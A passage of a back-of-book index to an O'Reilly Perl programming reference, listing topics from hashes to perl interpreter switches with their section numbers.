global : 2.9.4. Global Special Arrays
hard references as keys : 4.5.1. Hard References Don't Work as Hash Keys
initializing with x operator : 2.5.7. Multiplicative Operators
instead of linear searches : 8.3.1. Time Efficiency
inverting : 3.2.126. reverse
key/value pair precedence : 2.3.5. Hashes (Associative Arrays)
multidimensional : 4.7.4. Hashes of Hashes
names for : 2.3.1. Variables
returning key-value pairs : 3.2.30. each
returning list of keys : 3.2.79. keys
returning values of : 3.2.187. values
SubstrHash module : 7.2.74. Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
symbol tables : 5.1.1. Symbol Tables
tied : 7.2.72. Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
typing : 5.4.3. Tying Hashes
here documents : 2.3.2.6. "Here" documents
hex function : 3.2.73. hex
hexadecimal numbers
2.3.2.2. String literals
2.4.1.2. The rules of regular expression matching
3.2.73. hex
hints, compiler : 2.9.3. Global Special Variables
history of Perl : 8.7. History Made Practical
history, command : 8.1.2. Using the Debugger
home directory : 3.2.11. chdir
homepage, Perl : The Perl Homepage
hostnames : 7.2.62. Sys::Hostname - Try Every Conceivable Way to Get Hostname
getting from network addresses : 3.2.47. gethostbyaddr
translating to addresses
3.2.48. gethostbyname
3.2.52. getnetbyname
hosts file : (see /etc/hosts file)
hosts, pinging : 7.2.46. Net::Ping - Check Whether a Host Is Online
hyphen : (see - (hyphen))

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

/i modifier
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
-I switch, perl : 6.1.2. Switches
-i switch, perl : 6.1.2. Switches
I18N::Collate module : 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
identifiers, package : 5.1. Packages
ideographic unary operators : 2.5.5. Ideographic Unary Operators
if modifier : 2.6.1. Simple Statements
if statements
1.6.1.1. The if and unless statements
2.6.3. If Statements
8.2.4. C Traps
in case structure : 2.6.5. Bare Blocks and Case Structures
'IGNORE' string : 6.2.1. Signals
imaginary numbers : 7.2.44. Math::Complex - Complex Numbers Package
implementation : 5.5.7. Implementation (the "Uses" Relationship)
implementation classes : (see tie function)
import function
3.2.74. import
5.2. Modules
import lists : 7.2.15.1. Specialized import lists
import() : 7.2.14. Env - Import Environment Variables
importing
modules : 7.2.15. Exporter - Default Import Method for Modules
semantics into package : 3.2.185. use
subroutines : 2.7. Subroutines
importing environment variables : 7.2.14. Env - Import Environment Variables
in-memory databases : 7.2.8.4. In-memory databases
@INC array : 2.9.4. Global Special Arrays
prepending directories to : 6.1.2. Switches
%INC hash : 2.9.4. Global Special Arrays
@INC array
manipulating at compile time : 7.2.41. lib - Manipulate @INC at Compile-Time
incr command (debugger) : 8.1.1. Debugger Commands
index function : 3.2.75. index
indirect object syntax
5.3.6. Method Invocation
5.5.1. Object-Oriented Scaling Tips
inequality : (see equality operators; relational operators)
infinite loops : 2.6.4.2. For loops
infix dereference operator : (see arrow (->) operator)
inheritance
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.4. A Class Is Simply a Package
5.5.1. Object-Oriented Scaling Tips
5.5.10. Inheriting a Constructor
instance variable : 5.5.4. Instance Variable Inheritance
init program : 3.2.56. getppid
initial caps : (see capitalization)
initializing
arrays and hash slices : 2.5.7. Multiplicative Operators
hash variables : 2.3.5. Hashes (Associative Arrays)
$ino file statistic : 3.2.159. stat
INPLACE_EDIT$ : (see $ variables, $^I variable)
input
(see also filehandles)
1.4. Filehandles
checking file descriptors for : 3.2.135. select (ready file descriptors)
operators : 2.3.7. Input Operators
pipes : 6.2.2. Pipes
reading in awk : 8.2.3. Awk Traps
record separator : (see $ variables, $/ variable)
single-character buffered : 3.2.43. getc
unbuffered : 3.2.43. getc
unbuffered, POSIX : 7.2.49.1. Classes
$INPUT_LINE_NUMBER : (see $ variables, $. variable)
$INPUT_RECORD_SEPARATOR : (see $ variables, $/ variable)
Install module : 7.2.16. ExtUtils::Install - Install Files from Here to There
install() : 7.2.16. ExtUtils::Install - Install Files from Here to There
installing Perl
7.2.16. ExtUtils::Install - Install Files from Here to There
8.5. Distribution and Installation
instance methods
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.5.2. Instance methods
instance variables : 5.5.2. Instance Variables
instances : 5.3.1. Brief Refresher on Object-Oriented Programming
int function : 3.2.76. int
integer method : 7.2.38. integer - Do Arithmetic in Integer Instead of Double
integer module : 2.6.9. Pragmas
integers
3.2.76. int
7.2.38. integer - Do Arithmetic in Integer Instead of Double
7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
strings as vectors of : 3.2.188. vec
Internet TCP clients/servers : 6.2.4.1. Internet TCP clients and servers
interpolating
array variables : 2.3.2.5. Interpolating array values
scalar values : 2.3.2.2. String literals
interpolative context : 2.3.3.4. Interpolative context
interpreters : (see command interpreters)
interprocess communication (IPC) : 6.2. Cooperating with Other Processes
inverting arrays and hashes : 3.2.126. reverse
invoking : (see executing)
ioctl function : 3.2.77. ioctl
IPC (interprocess communication) : 6.2. Cooperating with Other Processes
IPC::Open2 module : 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
IPC::Open3 module : 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
"is-a" relationship : (see inheritance)
@ISA array
5.3.4. A Class Is Simply a Package
7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
iteration : (see loops)
itimer routines : 3.2.5. alarm

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

join function : 3.2.78. join
justification : 2.8. Formats

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

-k file test operator : 2.5.10. Named Unary and File Test Operators
keys function : 3.2.79. keys
keys, hash : (see hashes)
kill -l command (UNIX) : 6.2.1. Signals
kill function : 3.2.80. kill

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

L command (debugger) : 8.1.1. Debugger Commands
l command (debugger) : 8.1.1. Debugger Commands
-l file test operator : 2.5.10. Named Unary and File Test Operators
-l switch, perl : 6.1.2. Switches
labels
for loops
2.6.4. Loop Statements
2.6.4.4. Loop control
for goto statement
2.6.6. Goto
3.2.71. goto
for loops : 8.4. Programming with Style
names for : 2.3.1. Variables
languages
generating in Perl : 6.4.1.1. Generating other languages in Perl
generating Perl in : 6.4.1.2. Generating Perl in other languages
natural vs. artificial : 1.2. Natural and Artificial Languages
translating
6.4.2. Translation from Other Languages
8.5.1. Translation from Awk and Sed
last function : 8.4. Programming with Style
last operator
1.6.2.4. Breaking out: next and last
2.6.4.4. Loop control
3.2.81. last
8.3.1. Time Efficiency
$LAST_PAREN_MATCH : (see $ variables, $+ variable)
lc function : 3.2.82. lc
lcfirst function : 3.2.83. lcfirst
leaving : (see terminating)
left angle bracket : (see < (left angle bracket))
left justification : 2.8.1. Format Variables
left-shift (<<) operator : 2.5.9. Shift Operators
length
of arrays : 2.3.4. List Values and Arrays
of strings : 8.3.1. Time Efficiency
length function : 3.2.84. length
less than (<) operator : 2.5.11. Relational Operators
less than or equal (<=) operator : 2.5.11. Relational Operators
less than sign : (see < (left angle bracket))
lexically scoped declarations : 2.6.8. Scoped Declarations
lib module : 7.2.41. lib - Manipulate @INC at Compile-Time
Liblist module : 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
libraries
(see directories)
7. The Standard Perl Library
ExtUtils::Liblist module : 7.2.17. ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
line counter : (see $ variables, $. variable)
line input operators : (see angle operator)
line number : 2.3.2.7. Other literal tokens
__LINE__ token : 2.3.2.7. Other literal tokens
line-end processing, automatic : 6.1.2. Switches
line-oriented quoting : 2.3.2.6. "Here" documents
link : (see symbolic links)
link function : 3.2.85. link
list context
1.8. List Processing
2.3.3.1. Scalar and list context
3. Functions
angle operator in : 2.3.7.2. Line input (angle) operator
forcing scalar context instead : 3.2.131. scalar
range (..) operator in : 2.5.15. Range Operator
recognizing in debugger : 8.1.2. Using the Debugger
list operators
2.5.1. Terms and List Operators (Leftward)
2.5.19. List Operators (Rightward)
list values : 2.3.4. List Values and Arrays
$LIST_SEPARATOR : (see $ variables, $" variable)
listen function : 3.2.86. listen
listing code : 8.1.1. Debugger Commands
lists
1.2.1.2. Pluralities
2.3.4. List Values and Arrays
chopping : 3.2.14. chop
as function arguments : 3. Functions
map function and : 3.2.91. map
nested
4.6. A Brief Tutorial: Manipulating Lists of Lists
4.7. Data Structure Code Examples
replicating with x operator : 2.5.7. Multiplicative Operators
returning elements in reverse order : 3.2.126. reverse
sorting : 3.2.153. sort
syscall function with : 3.2.164. syscall
LISTs
(see also lists)
1.8. List Processing
literals : 2.4.1.1. The regular expression bestiary
numeric : (see numeric literals)
pseudo-literals : (see input, operators)
string : (see string literals)
loading functions : (see AutoLoader module; SelfLoader module)
local
communications : 6.2.4.2. UNIX-domain clients and servers
declaration : 3.2.87. local
filehandles : 2.3.6. Typeglobs and Filehandles
time : 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
variables
2.6.8. Scoped Declarations
3.2.87. local
8.2.2. Frequently Ignored Advice
local function
3.2.87. local
8.2.1. Universal Blunders
8.2.2. Frequently Ignored Advice
Local module : 7.2.75. Time::Local - Efficiently Compute Time from Local and GMT Time
localtime function : 3.2.88. localtime
lockf function, emulating : 3.2.37. fcntl
locking databases : 7.2.8.7. Locking databases
locking DBM files : 3.2.24. dbmopen
log files : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
log function : 3.2.89. log
logarithm : 3.2.89. log
logical
AND (&&) operator : 2.5.14. C-style Logical (Short Circuit) Operators
negation (!) operator : 2.5.5. Ideographic Unary Operators
operators
1.5.5. Logical Operators
2.5.14. C-style Logical (Short Circuit) Operators
2.5.20. Logical and, or, not, and xor
OR (||) operator : 2.5.14. C-style Logical (Short Circuit) Operators
Long module : 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
look() : 7.2.53. Search::Dict - Search for Key in Dictionary File
lookahead assertion : 2.4.1.4. Regular expression extensions
loops
1.6.2. Iterative (Looping) Constructs
2.6.4. Loop Statements
8.2.1. Universal Blunders
8.4. Programming with Style
eval function within : 8.3.1. Time Efficiency
infinite : 2.6.4.2. For loops
labels for : 2.6.4.4. Loop control
last operator : 3.2.81. last
next operator : 3.2.99. next
redo operator and : 3.2.120. redo
reset function and : 3.2.124. reset
running time for code in : 7.2.4. Benchmark - Check and Compare Running Times of Code
lstat function
(see also stat function)
3.2.90. lstat
lvalues : 2.3.1. Variables

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

-M file test operator : 2.5.10. Named Unary and File Test Operators
/m modifier
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
-m switch, perl : 6.1.2. Switches
-M switch, perl : 6.1.2. Switches
m// (match) operator
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
3.2.1. /PATTERN/
8.1.1. Debugger Commands
8.2.1. Universal Blunders
modifiers for : 2.4.2. Pattern-Matching Operators
pos function and : 3.2.109. pos
m?? (match) operator
2.4.2. Pattern-Matching Operators
3.2.2. ?PATTERN?
8.1.1. Debugger Commands
reset function and : 3.2.124. reset
make command : 7.2.18.1. Targets
Makefiles : 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
MakeMaker module
(see also Test::Harness module)
7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
man command : Perl Manpages
manicheck() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manicopy() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
Manifest module : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manifind() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
maniread() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
manpages : Perl Manpages
map function
3.2.91. map
8.4. Programming with Style
match (m//) operator
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
3.2.1. /PATTERN/
8.1.1. Debugger Commands
8.2.1. Universal Blunders
modifiers for : 2.4.2. Pattern-Matching Operators
pos function and : 3.2.109. pos
match (m??) operator
2.4.2. Pattern-Matching Operators
3.2.2. ?PATTERN?
8.1.1. Debugger Commands
reset function and : 3.2.124. reset
$MATCH : (see $ variables, $& variable)
matching : (see patterns)
math
(see also numbers)
7.2.48. overload - Overload Perl's Mathematical Operations
operators : (see arithmetic operators; operators)
overloading operations : 7.2.48. overload - Overload Perl's Mathematical Operations
Math::BigFloat module : 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
Math::BigInt module : 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
Math::Complex module : 7.2.44. Math::Complex - Complex Numbers Package
memory
efficiency of : 8.3.2. Space Efficiency
garbage collection : 5.3.9. A Note on Garbage Collection
in-memory databases : 7.2.8.4. In-memory databases
shared memory segment ID : 3.2.145. shmget
messages
error : 7.2.5. Carp - Generate Error Messages
functions for : 3.2.93. msgctl
passing with UDP : 6.2.4.3. UDP: message passing
receiving on sockets : 3.2.119. recv
script embedded in : 6.1.2. Switches
sending to socket : 3.2.139. send
metacharacters
2.4.1.1. The regular expression bestiary
8.3.1. Time Efficiency
escaping with quotemeta : 3.2.114. quotemeta
in exec arguments : 3.2.33. exec
metaFAQ : Frequently Asked Questions List
method
autogenerated substitute : 7.2.48.7. Autogeneration
Method() : 7.2.48.9. Public functions
methods
4.3.4. Using Object Methods
5.3.1. Brief Refresher on Object-Oriented Programming
5.3.5. A Method Is Simply a Subroutine
autoloading : 5.3.8. Method Autoloading
invoking : 5.3.6. Method Invocation
names for : 8.4. Programming with Style
overriding : 5.5.6. Overriding Base Class Methods
minimal matching : 1.7.2. Minimal Matching
Miniperl module : 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
minus (-) operator : 2.5.5. Ideographic Unary Operators
minus sign : (see - (hyphen))
mkbootstrap() : 7.2.21. ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
mkdir function : 3.2.92. mkdir
mkfifo command (UNIX) : 6.2.2.4. Named pipes
mkmanifest() : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
mknod command (UNIX) : 6.2.2.4. Named pipes
mkpath() : 7.2.31. File::Path - Create or Remove a Series of Directories
Mksymlists() : 7.2.22. ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
MM_OS2 module : 7.2.23. ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
MM_Unix module : 7.2.24. ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
MM_VMS module : 7.2.25. ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
$mode file statistic : 3.2.159. stat
modification time, file
3.2.159. stat
3.2.186. utime
modifiers for statement : 2.6.1. Simple Statements
modules
(see also packages)
5. Packages, Modules, and Object Classes
5.1.3. Autoloading
5.2. Modules
7. The Standard Perl Library
Perl in a Nutshell
autoloading, stubs for : 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
automatic dunamic loading : 7.2.12. DynaLoader - Automatic Dynamic Loading of Perl Modules
importing : 7.2.15. Exporter - Default Import Method for Modules
names for : 8.4. Programming with Style
obtaining : Fetching modules
splitting for autoloading : 7.2.3. AutoSplit - Split a Module for Autoloading
version checking : 7.2.15.2. Module version checking
modulus (%) operator : 2.5.7. Multiplicative Operators
more than sign
(see > (right angle bracket))
(see >)
msgctl function : 3.2.93. msgctl
msgget function : 3.2.94. msgget
msgrcv function : 3.2.95. msgrcv
msgsnd function : 3.2.96. msgsnd
$mtime file statistic : 3.2.159. stat
multi-line substitutions : 2.4.1.3. The fine print
multidimensional arrays
4.6. A Brief Tutorial: Manipulating Lists of Lists
4.7.1. Arrays of Arrays
multidimensional hashes : 4.7.4. Hashes of Hashes
$MULTILINE_MATCHING : (see $ variables, $* variable)
multiplicative operators
1.5.2. String Operators
2.5.7. Multiplicative Operators
my declarations
2.6.8. Scoped Declarations
3.2.97. my
8.2.2. Frequently Ignored Advice
closures and : 4.3.6. Closures

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n command (debugger) : 8.1.1. Debugger Commands
-n switch, perl : 6.1.2. Switches
named pipes : 6.2.2.4. Named pipes
named unary operators
2.3.7.3. Filename globbing operator
2.5.10. Named Unary and File Test Operators
names
arrays : 2.3.1. Variables
capitalization conventions : 2.3.1. Variables
commands : 1.2.2. Verbs
current working directory : 7.2.7. Cwd - Get Pathname of Current Working Directory
file : 2.3.2.7. Other literal tokens
for files : (see filenames)
format : (see format, names)
functions : 1.2.2. Verbs
getting from network addresses
3.2.47. gethostbyaddr
3.2.51. getnetbyaddr
getting from port number : 3.2.64. getservbyname
global variables : 7.2.76. vars - Predeclare Global Variable Names
hashes : 2.3.1. Variables
labels and filehandles : 2.3.1. Variables
modules : 5.2. Modules
modules/packages : 8.4. Programming with Style
program : (see $ variables, $0 variable)
protocol : 3.2.59. getprotobynumber
getting from port number : 3.2.65. getservbyport
signals : 6.2.1. Signals
sockets : 3.2.7. bind
subroutine : 2.7. Subroutines
subroutines : 2.3.1. Variables
translating to network addresses
3.2.48. gethostbyname
3.2.52. getnetbyname
typeglobs
2.3.6. Typeglobs and Filehandles
2.7.1. Passing Symbol Table Entries (Typeglobs)
usernames, passwd file entry from : 3.2.62. getpwnam
variable
7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
8.4. Programming with Style
variables
1.2.1. Nouns
2.3.1. Variables
namespace : (see packages)
namespaces, creating safe : 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
natural languages : 1.2. Natural and Artificial Languages
NDBM_File module : 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
NDBM_File mofule : 7.2.45. NDBM_File - Tied Access to NDBM Files
ne operator : 8.2.1. Universal Blunders
negation
arithmetic (-) operator : 2.5.5. Ideographic Unary Operators
bitwise (~) operator : 2.5.5. Ideographic Unary Operators
logical (!) operator : 2.5.5. Ideographic Unary Operators
of character class : 1.7.1. Quantifiers
negative lookahead asserion : 2.4.1.4. Regular expression extensions
nested
data structures, printed : 8.1.1. Debugger Commands
destruction : 5.3.7. Destructors
lists
4.6. A Brief Tutorial: Manipulating Lists of Lists
4.7. Data Structure Code Examples
packages : 5.1. Packages
Net::Ping module : 7.2.46. Net::Ping - Check Whether a Host Is Online
network addresses, translating to names
3.2.47. gethostbyaddr
3.2.51. getnetbyaddr
networks file : (see /etc/networks file)
new method : 3.2.98. new
new() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
new_from_fd() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
newlines
boundary assertions and : 2.4.1.2. The rules of regular expression matching
removing : 1.4. Filehandles
in string literals : 2.3.2.2. String literals
newsgroups : Usenet Newsgroups
next operator
1.6.2.4. Breaking out: next and last
2.6.4.4. Loop control
3.2.99. next
next if construct : 8.3.1. Time Efficiency
NEXTKEY method : 5.4.3. Tying Hashes
NFA (nondeterministic finite-state automaton) : 2.4.1.2. The rules of regular expression matching
$nlink file statistic : 3.2.159. stat
no declaration
2.6.9. Pragmas
3.2.100. no
nomethod operator : 7.2.48.4. No method
nondeterministic finite-state automaton (NFA) : 2.4.1.2. The rules of regular expression matching
not (!) operator : 2.5.5. Ideographic Unary Operators
not equal to (!=) operator : 2.5.12. Equality Operators
nouns : 1.2.1. Nouns
$NR : (see $ variables, $. variable)
null
filehandle
angle operator and : 2.3.7.2. Line input (angle) operator
list : 2.3.4. List Values and Arrays
scalars : 2.3.3.2. Boolean context
numbers
for commands, debugger and : 8.1.2. Using the Debugger
comparing in awk : 6.4.2.2. a2p
comparison operators for : 1.5.6. Comparison Operators
complex : 7.2.44. Math::Complex - Complex Numbers Package
\d (for digit) : 1.7. Regular Expressions
digits in names : 2.3.1. Variables
floating-point : 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
hexadecimal
(see hexadecimal numbers)
2.4.1.2. The rules of regular expression matching
3.2.73. hex
integers
7.2.38. integer - Do Arithmetic in Integer Instead of Double
7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
justifying by decimal point : 2.8. Formats
large, underscore and : 2.3.2.1. Numeric literals
line (__LINE__ token) : 2.3.2.7. Other literal tokens
octal
(see octal characters)
2.4.1.2. The rules of regular expression matching
3.2.101. oct
for pages : 2.9.2. Per-Filehandle Special Variables
port, getting name for/from
3.2.64. getservbyname
3.2.65. getservbyport
protocol : 3.2.59. getprotobynumber
random
3.2.115. rand
3.2.158. srand
truncating with int : 3.2.76. int
numeric literals : 2.3.2.1. Numeric literals

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

O command (debugger) : 8.1.1. Debugger Commands
-O file test operator : 2.5.10. Named Unary and File Test Operators
-o file test operator : 2.5.10. Named Unary and File Test Operators
/o modifier : 2.4.2. Pattern-Matching Operators
object methods : 7.2.11. DirHandle - Supply Object Methods for Directory Handles
for filehandles : 7.2.33. FileHandle - Supply Object Methods for Filehandles
object-oriented programming
5.3.1. Brief Refresher on Object-Oriented Programming
5.5.1. Object-Oriented Scaling Tips
objects
5.3. Objects
5.5.9. Class Context and the Object
blessing : 3.2.9. bless
classes : 5. Packages, Modules, and Object Classes
constructors : (see constructors)
methods : 4.3.4. Using Object Methods
obtaining Perl : How to Get Perl
oct function : 3.2.101. oct
octal characters : 2.3.2.2. String literals
octal numbers
2.4.1.2. The rules of regular expression matching
3.2.101. oct
specifying $/ as : 6.1.2. Switches
ODBM_File module
7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
7.2.47. ODBM_File - Tied Access to ODBM Files
offsets
for m// successes : 3.2.109. pos
read function and : 3.2.116. read
seek function : 3.2.132. seek
OFMT : 6.4.2.2. a2p
$OFMT : (see $ variables, $# variable)
$OFS : (see $ variables, $, variable)
one-liners : 1.3.1. How to Do It
OOP (object-oriented programming)
5.3.1. Brief Refresher on Object-Oriented Programming
5.5.1. Object-Oriented Scaling Tips
open function
3.2.102. open
6.2.2.1. Anonymous pipes
$. and : 3.2.18. close
fileno function and : 3.2.38. fileno
open() : 7.2.33. FileHandle - Supply Object Methods for Filehandles
open2() : 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
Open2, Open3 library modules : 6.2.2.3. Bidirectional communication
open3() : 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
opendir function
3.2.103. opendir
7.2.11. DirHandle - Supply Object Methods for Directory Handles
opening
files
FileCache module : 7.2.32. FileCache - Keep More Files Open Than the System Permits
via low-level system call : 3.2.165. sysopen
sockets : 3.2.151. socket
openlog() : 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
operating system : Perl in a Nutshell
operator mask : 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
operators
1.5. Operators
2.5. Operators
associativity of : 2.5. Operators
autogeneration : 7.2.48.7. Autogeneration
overloading : 7.2.48. overload - Overload Perl's Mathematical Operations
precedence of : 2.5. Operators
optimizing, performance and : 8.3. Efficiency
options : (see switches, Perl command-line)
OR (^) operator
(see XOR operator)
8.2.3. Awk Traps
OR (|) operator : 2.5.13. Bitwise Operators
OR (||) operator : 2.5.14. C-style Logical (Short Circuit) Operators
or operator
2.5.20. Logical and, or, not, and xor
8.4. Programming with Style
ord function : 3.2.104. ord
order : (see precedence)
of function precedence : 3. Functions
$ORS : (see $ variables, $\ variable)
$OS_ERROR : (see $ variables, $! variable)
$OSNAME : (see $ variables, $^O variable)
output
(see also filehandles)
1.4. Filehandles
checking file descriptors for : 3.2.135. select (ready file descriptors)
field separator : (see $ variables, $, variable)
pipes : 6.2.2. Pipes
record separator : (see $ variables, $\ variable)
selecting filehandles for : 3.2.134. select (output filehandle)
test script : 7.2.66.1. The test script output
$OUTPUT_AUTOFLUSH : (see $ variables, $| variable)
$OUTPUT_FIELD_SEPARATOR : (see $ variables, $, variable)
$OUTPUT_RECORD_SEPARATOR : (see $ variables, $\ variable)
overload module : 7.2.48. overload - Overload Perl's Mathematical Operations
Overloaded() : 7.2.48.9. Public functions
overloading
functions : 2.3.3.1. Scalar and list context
run-time : 7.2.48.8. Run-time overloading
overriding
base class methods : 5.5.6. Overriding Base Class Methods
functions : 5.2.2. Overriding Built-in Functions
MakeMaker methods : 7.2.18.10. Overriding MakeMaker methods
ownership, file : 3.2.15. chown

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

p command (debugger) : 8.1.1. Debugger Commands
-p file test operator : 2.5.10. Named Unary and File Test Operators
-p switch, perl : 6.1.2. Switches
-P switch, perl : 6.1.2. Switches
pack function : 3.2.105. pack
package declaration
3.2.106. package
5.1. Packages
package variables : (see global, variables)
packages
(see also modules)
5. Packages, Modules, and Object Classes
5.1.3. Autoloading
7. The Standard Perl Library
BEGIN and END subentries : 5.1.2. Package Constructors and Destructors: BEGIN and END
binding variables to : 3.2.184. untie
blessing objects into : 3.2.9. bless
declaring
2.6.8. Scoped Declarations
3.2.106. package
importing semantics to : 3.2.185. use
names for : 8.4. Programming with Style
tying variables to : 3.2.171. tie
packed sockaddr : 3.2.54. getpeername
page numbers : 2.9.2. Per-Filehandle Special Variables
pages : 2.9.2. Per-Filehandle Special Variables
pairs, key/value : (see hashes)
paragraph mode
2.9.3. Global Special Variables
6.1.2. Switches
paragraphs, wrapping text into : 7.2.71. Text::Wrap - Wrap Text into a Paragraph
parent classes : 5.3.1. Brief Refresher on Object-Oriented Programming
parent processes : (see processes)
parentheses : (see () (parentheses))
parse file specifications : 7.2.27. File::Basename - Parse File Specifications
ParseWords module : 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
"passes-the-buck-to" relationship : 5.5.11. Delegation (the "Passes-the-Buck-to" Relationship)
passing
reference : 2.7.2. Passing References
symbol table entries : 2.7.1. Passing Symbol Table Entries (Typeglobs)
passwd file : (see /etc/passwd file)
passwords : 3.2.158. srand
crypt function and : 3.2.22. crypt
patches : 8.5.3. Patches
PATH environment variable
6.1.2. Switches
6.3.1.2. Cleaning up your path
Path module : 7.2.31. File::Path - Create or Remove a Series of Directories
pathname, current working directory : 7.2.7. Cwd - Get Pathname of Current Working Directory
pattern-matching operator : 1.7. Regular Expressions
patterns
(see also m// (match) operator; m?? (match) operator)
(see also regular expressions)
1.7. Regular Expressions
2.4. Pattern Matching
3.2.1. /PATTERN/
embedded modifiers for : 2.4.1.4. Regular expression extensions
greedy matching
1.7.1. Quantifiers
2.4.1.2. The rules of regular expression matching
matching precedence : 2.4.1.2. The rules of regular expression matching
minimal matching : 1.7.2. Minimal Matching
quantifiers : 2.4.1.2. The rules of regular expression matching
special variables for matching : 2.9.1. Regular Expression Special Variables
split function and : 3.2.155. split
study function : 3.2.160. study
for untainting data : 6.3.1.1. Detecting and laundering tainted data
pausing scripts : 3.2.150. sleep
Penguin module : 6.3.2.2. Penguin
percent sign (%) : (see % (percent sign))
performance
8.3. Efficiency
Perl in a Nutshell
measuring : 3.2.174. times
period : (see . (dot))
Perl
extensions to : (see extensions, Perl)
history of : 8.7. History Made Practical
obtaining : How to Get Perl
Perl 4 (and before) : 8.2.7. Previous Perl Traps
perl interpreter program
1.3.1. How to Do It
6.1.2. Switches
-- switch : 6.1.2. Switches
-0 switch : 6.1.2. Switches
-a switch
2.9.4. Global Special Arrays
6.1.2. Switches
-c switch : 6.1.2. Switches
-D switch : 6.1.2. Switches
-d switch
6.1.2. Switches
8.1. The Perl Debugger
8.1.8. Alternative Debuggers: The Perl Profiler
-e switch : 6.1.2. Switches
-e switch : 1.3.1. How to Do It
